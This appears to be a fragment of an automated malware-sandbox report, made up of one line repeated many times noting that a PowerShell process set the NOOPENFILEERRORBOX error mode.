                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
